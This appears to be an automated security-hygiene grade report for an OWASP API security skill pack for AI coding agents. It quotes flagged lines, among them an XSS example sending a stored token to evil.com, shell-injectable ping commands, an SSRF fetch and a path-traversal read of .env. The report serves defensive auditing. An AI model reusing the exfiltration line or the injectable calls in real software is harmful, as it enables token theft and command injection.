Grades are a hygiene check, not a security guarantee.

Claude Code, Skill

Apisec Skills

OWASP API Security Top 10 skills for AI coding agents: BOLA detection, auth and RBAC scaffolding, injection checks, security test generation, full API security review, and OpenAPI schema hardening.

Compatibility: Not stated.

Grade C

One Medium finding. Read the report before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

SECRETS_PATH_CREDENTIAL

Why this grade

  • SECRETS_PATH_CREDENTIAL Medium

    Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).

    skills/api-security-review/SKILL.md, line 242 - `.env` files, `credentials.json`, or secrets are committed

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Note

    requests shell access. The manifest names this permission.

    PERMISSION_SHELL_DECLARED

    skills/injection-checker/SKILL.md, line 415

    result = subprocess.run(f"ping -c 4 {host}", shell=True, capture_output=True, text=True)

    skills/injection-checker/SKILL.md, line 420

    os.system(f"ping -c 4 {host}")

    skills/injection-checker/SKILL.md, line 434

    result = subprocess.run(

    Show more

    skills/injection-checker/SKILL.md, line 449

    cmd := exec.Command("sh", "-c", "ping -c 4 "+host) // shell injection

    skills/injection-checker/SKILL.md, line 465

    cmd := exec.Command("ping", "-c", "4", host) // no shell involved

    skills/injection-checker/SKILL.md, line 962

    Pattern: child_process.exec() with user-supplied filename concatenated into command string

    skills/injection-checker/SKILL.md, line 823

    Any use of `exec()`, `system()`, `os.popen()`, `subprocess.run(..., shell=True)`, or `child_process.exec()` with user input is a command injection vector.

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Concern

    can reach a host that is not written as a fixed address. can reach api.third-party.com. The description does not name that host. can reach evil.com. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    skills/api-security-review/SKILL.md, line 213

    const response = await fetch(req.body.url);

    skills/api-security-review/SKILL.md, line 225

    const response = await fetch(req.body.url, { redirect: 'error' });

    skills/api-security-review/SKILL.md, line 300

    const userData = await fetch('https://api.third-party.com/user/123');

    Show more

    skills/api-security-review/SKILL.md, line 305

    const userData = await fetch('https://api.third-party.com/user/123', {

    skills/auth-rbac-scaffold/SKILL.md, line 793

    // Any XSS payload can run: fetch('https://evil.com/?t=' + localStorage.getItem('token'))

    skills/security-test-generator/SKILL.md, line 656

    r = httpx.get(f"{BASE_URL}/orders/{test_users['order_a']['id']}")

    skills/security-test-generator/SKILL.md, line 660

    r = httpx.get(

    skills/security-test-generator/SKILL.md, line 667

    r = httpx.get(

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV

    skills/auth-rbac-scaffold/SKILL.md, line 63

    const JWT_SECRET = process.env.JWT_SECRET;

    skills/auth-rbac-scaffold/SKILL.md, line 137

    process.env.JWT_SECRET,

    skills/api-security-review/SKILL.md, line 242

    - `.env` files, `credentials.json`, or secrets are committed

    Show more

    skills/auth-rbac-scaffold/SKILL.md, line 148

    process.env.JWT_REFRESH_SECRET,

    skills/auth-rbac-scaffold/SKILL.md, line 406

    secret := []byte(os.Getenv("JWT_SECRET"))

    skills/auth-rbac-scaffold/SKILL.md, line 657

    const decoded = jwt.verify(token, process.env.JWT_SECRET, {

    skills/auth-rbac-scaffold/SKILL.md, line 1194

    const decoded = jwt.verify(token, process.env.JWT_SECRET, {

    skills/injection-checker/SKILL.md, line 975

    Risk: Attacker sends GET /files/../../.env to read environment variables including secrets

    skills/security-test-generator/SKILL.md, line 169

    const JWT_SECRET = process.env.JWT_SECRET || 'test-secret';

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

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Note

Hygiene check of commit 132eb7fd711f. requests shell access. The manifest names this permission. can reach a host that is not written as a fixed address. can reach api.third-party.com. The description does not name that host. can reach evil.com. The description does not name that host. reads a credential or environment file.

Date and source

Date checked:

View source

github.com

Commit graded: 132eb7fd711fc3f834bfabbec754fd7dcb0e1a72

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Read how this letter is chosen